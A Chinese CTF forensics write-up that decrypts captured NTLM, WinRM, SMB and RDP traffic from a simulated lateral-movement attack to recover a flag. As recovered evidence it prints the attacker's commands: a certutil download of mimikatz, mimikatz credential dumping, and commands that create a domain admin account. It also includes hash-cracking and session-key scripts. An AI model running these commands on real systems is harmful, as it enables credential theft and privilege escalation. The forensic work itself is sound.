原来是区域线下赛啊,我还以为是不隔离内网环境、没有任何屏蔽器、随便用线上agent、渗透别人机子、赛前公众号透题的野鸡比赛呢

ai题放在ai提示词注入浅析那个文章里了,这里存一下流量。

pth_attack

抓了别人渗透横向移动的流量,刚好学习一下怎么看渗透流量

这题有点套,包括ntlm、winrm、smb、tls、rdp的键盘 的流量解密。

拿到流量可以发现他前面试了很多的ntlm的尝试,直到后面三次才成功

1776675610480

也就是图中绿的这三次,后面三次黄色的ntlm爆破不出来的,因为没有domain(域名)

绿的这三次虽然有些不一样,但是最后hashcat爆破出来的密码是一样的,我提取到的一次是:

1
administrator::pc:e4191b09461ba455:74a74f048964fa4a31781a5f55d4aed9:0101000000000000a2fcff67bc72dc01cb089a6f021e84960000000002000a0044004500310041005900010004005000430004001200640065003100610079002e0063006f006d0003001800500043002e00640065003100610079002e0063006f006d0005001200640065003100610079002e0063006f006d0007000800a2fcff67bc72dc010600040002000000080030003000000000000000000000000030000026544cc05c735b21ae876ab6adeaf35030fb649315896d1d685326c99ddb5f6b0a001000000000000000000000000000000000000900220048005400540050002f00310030002e00310030002e00310030002e00320030003100000000000000000000000000

hashcat爆破一下得到密码:pass@word1

这个pass@word1是winrm的默认密码,我们需要那这个密码去解密(ctfneta的解密不完全,少了后面一半,不要用。)

我这里用解密脚本decrypt-winrm,拿到一堆xml的东西(出错的话稍微改改)

1776676352945

稍微搞一下把所有base64的东西留下,解密一下就能知道他在干嘛了。

他执行了:

1
2
3
4
5
6
pc\administrator
ipconfig /all
certutil -urlcache -f http://10.10.10.80:8000/mimikatz.exe mimikatz.exe
dir了一下
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" > 1.log
type 1.log

就是下了个猕猴桃然后从内存中导出所有登录用户的密码,那我们也可以找到密码了。

1776678091537

拿到hash之后解密后面两个没有域名的流量,用smb的脚本SMB Decryption - TryHackMe

(这里解密smb流量可以参考谍影重重五)

passwordhash是刚刚猕猴桃里找到的,其他ntProofStr、serverChallenge、sessionKey都能在流量里找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Cipher import ARC4
from Crypto.Hash import MD4, MD5, HMAC

##password = ''
passwordHash = '3d83254b53697355ef7498b535e7ab29'
username = 'administrator'
domain = ''
ntProofStr = '4103e8d84572fa74f220ecc20be704c1'
serverChallenge = '9d92b46171a87637'
sessionKey = '7433d4ac87cdff2d38b2e8a5840b919d'

responseKey = HMAC.new(bytes.fromhex(passwordHash), (username.upper()+domain.upper()).encode('utf-16-le'), MD5).digest()
keyExchangeKey = HMAC.new(responseKey, bytes.fromhex(ntProofStr), MD5).digest()
decryptedSessionKey = ARC4.new(keyExchangeKey).decrypt(bytes.fromhex(sessionKey))
print('Decrypted SMB Session Key is: {}'.format(decryptedSessionKey.hex()))

得到key:3252507a61756f507132585748475953

session id 也能在流量中找到:0x0000480000000055

1776678965911

转化为小端序(也就是去掉0x每两个字节反转):5500000000480000

现在得到了Session Key 3252507a61756f507132585748475953和Session ID 5500000000480000组合起来,放入Wireshark中的SMB2解密(编辑->首选项->Protocols->SMB2)

然后我们就能在导出对象-smb里看到很多东西了

在%5csvcctl文件中可以看到他执行了

1
%COMSPEC% /Q /c echo net group "Domain Admins" admin /add /domain ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

但是我们需求的东西在导出的文件里是找不到的,应该是wireshark导出时候的问题,我们还是一条条自己看,着重看那些CreateServiceW request 的流量。

在3347条能发现

1776684150029

1
%COMSPEC% /Q /c echo net user admin kPxQ1GT9zA9E /add ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

就能得到admin的密码了。

所以这个人就是创建了一个密码是kPxQ1GT9zA9E的admin用户,然后把他放到了Domain Admins组里面

继续解密第二段smb流量,跟上面的方法差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Cipher import ARC4
from Crypto.Hash import MD4, MD5, HMAC

password = 'kPxQ1GT9zA9E'
passwordHash = MD4.new(password.encode('utf-16-le')).hexdigest()
username = 'admin'
domain = ''
ntProofStr = '7368589eef94d340237823caa7835c29'
serverChallenge = 'b3526269d4453b24'
sessionKey = 'a93341fd28b90248aa3cc3e072da4cc4'

responseKey = HMAC.new(bytes.fromhex(passwordHash), (username.upper()+domain.upper()).encode('utf-16-le'), MD5).digest()
keyExchangeKey = HMAC.new(responseKey, bytes.fromhex(ntProofStr), MD5).digest()
decryptedSessionKey = ARC4.new(keyExchangeKey).decrypt(bytes.fromhex(sessionKey))
print('Decrypted SMB Session Key is: {}'.format(decryptedSessionKey.hex()))

得到 Session Key is: 4e6939527a31453673734f3665337337,Session Id:6500000000480000(0x0000480000000065)

然后就能发现一个ptx文件了,导出

1776684710470

使用openssl把ptx转为pem 如何使用Wireshark解密RDP协议

1
openssl pkcs12 -in '%5cLOCAL_MACHINE_Remote Desktop_0_WIN-PJQQGRU9QOC.pfx' -out rdp.pem -nodes -legacy

密码是默认密码:mimikatz,就导出了pem文件

把tls导入第二个流量,就能发现有很多键鼠流量

现在就是解密rdp下的键鼠流量了,协议在这:Scan Codes Demystified

对照表大概就是:

1776686168707

先过滤rdp分组,然后导出分组解析结果-为纯文本-packet details选All expanded

使用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import re
input_file_path = 'rdp.txt' # 这里为导出RDP分组(解密后)的txt
output_file_path = 'keycodes_output.txt'
keycode_to_char = {
0x01: 'Esc', 0x02: '1', 0x03: '2', 0x04: '3', 0x05: '4', 0x06: '5', 0x07: '6', 0x08: '7', 0x09: '8', 0x0A: '9', 0x0B: '0', 0x0C: '-', 0x0D: '=', 0x0E: 'BackSpace', 0x0F: 'Tab', 0x10: 'Q', 0x11: 'W', 0x12: 'E', 0x13: 'R', 0x14: 'T', 0x15: 'Y', 0x16: 'U', 0x17: 'I', 0x18: 'O', 0x19: 'P', 0x1A: '[', 0x1B: ']', 0x1C: 'Enter', 0x1D: 'LCtrl', 0x1E: 'A', 0x1F: 'S', 0x20: 'D', 0x21: 'F', 0x22: 'G', 0x23: 'H', 0x24: 'J', 0x25: 'K', 0x26: 'L', 0x27: ';', 0x28: "'", 0x29: '`', 0x2A: 'LShift', 0x2B: '\\', 0x2C: 'Z', 0x2D: 'X', 0x2E: 'C', 0x2F: 'V', 0x30: 'B', 0x31: 'N', 0x32: 'M', 0x33: ',', 0x34: '.', 0x35: '/', 0x36: 'RShift', 0x37: '*', 0x38: 'LAlt', 0x39: 'Space', 0x3A: 'CapsLock', 0x3B: 'F1', 0x3C: 'F2', 0x3D: 'F3', 0x3E: 'F4', 0x3F: 'F5', 0x40: 'F6', 0x41: 'F7', 0x42: 'F8', 0x43: 'F9', 0x44: 'F10', 0x45: 'NumLock', 0x46: 'ScrollLock', 0x47: '7', 0x48: '8', 0x49: '9', 0x4A: '-', 0x4B: '4', 0x4C: '5', 0x4D: '6', 0x4E: '+', 0x4F: '1', 0x50: '2', 0x51: '3', 0x52: '0', 0x53: '.', 0x54: 'SysRq', 0x56: 'INT1', 0x57: 'F11', 0x58: 'F12', 0x70: 'Katakana', 0x73: 'INT3', 0x77: 'Furigana', 0x79: 'Kanji', 0x7B: 'Hiragana', 0x7D: 'INT4', 0xE01C: 'EnterKP', 0xE01D: 'RCtrl', 0xE038: 'RAlt', 0xE047: 'HomeCP', 0xE048: 'UpCP', 0xE049: 'PgUpCP', 0xE04B: 'LeftCP', 0xE04D: 'RightCP', 0xE050: 'DownCP', 0xE051: 'PgDnCP', 0xE052: 'InsCP', 0xE053: 'DelCP', 0xE05B: 'LWin', 0xE05C: 'RWin', 0xE05D: 'WinMenu', 0xE05E: 'Power', 0xE05F: 'Sleep', 0xE063: 'Wake', 0xE020: 'Mute', 0xE030: 'VolumeUp', 0xE02E: 'VolumeDown', 0xE017: 'Cut', 0xE018: 'Copy', 0xE00A: 'Paste', 0xE03B: 'Help', 0xE008: 'Undo', 0xE007: 'Redo', 0xE022: 'Play', 0xE024: 'Stop', 0xE010: 'SkipBack', 0xE019: 'SkipFwd', 0xE02C: 'Eject', 0xE01E: 'Mail', 0xE032: 'Web', 0xE03C: 'Music', 0xE064: 'Pictures', 0xE06D: 'Video', 0x5B: 'F13', 0x5C: 'F14', 0x5D: 'F15', 0x63: 'F16', 0x64: 'F17', 0x65: 'F18', 0x66: 'F19', 0x67: 'F20', 0x68: 'F21', 0x69: 'F22', 0x6A: 'F23', 0x6B: 'F24', 0x75: 'Help', 0x71: 'AttnSysRq', 0x76: 'Clear', 0x77: 'Again', 0x72: 'CrSelProperties', 0x78: 'Undo', 0x74: 'ExSelSetUp', 0x6D: 'ErEOFRecrd', 0x80: 'Copy', 0x83: 'PrintIdent', 0x6F: 'CopyTest', 0x81: 'Paste', 0x82: 'Find', 0x79: 'Cut', 0xE04C: 'Rule'
}
extracted_chars = []
try:
with open(input_file_path, 'r', encoding='utf-8') as file:
for line in file:
match = re.search(r'KeyCode:\s*0x([0-9A-Fa-f]{2})', line)
if match:
keycode = int(match.group(1).upper(), 16)
char_output = keycode_to_char.get(keycode, '?')
extracted_chars.append(char_output)
extracted_chars.append(" ")
with open(output_file_path, 'w', encoding='utf-8') as output_file:
output_file.write(''.join(extracted_chars))
print("提取完成,结果已保存至", output_file_path)
except Exception as e:
print("发生错误:", e)

得到flag:DART{5B3A641F-9454-4518-A85D-6F7D4D6EAEFB}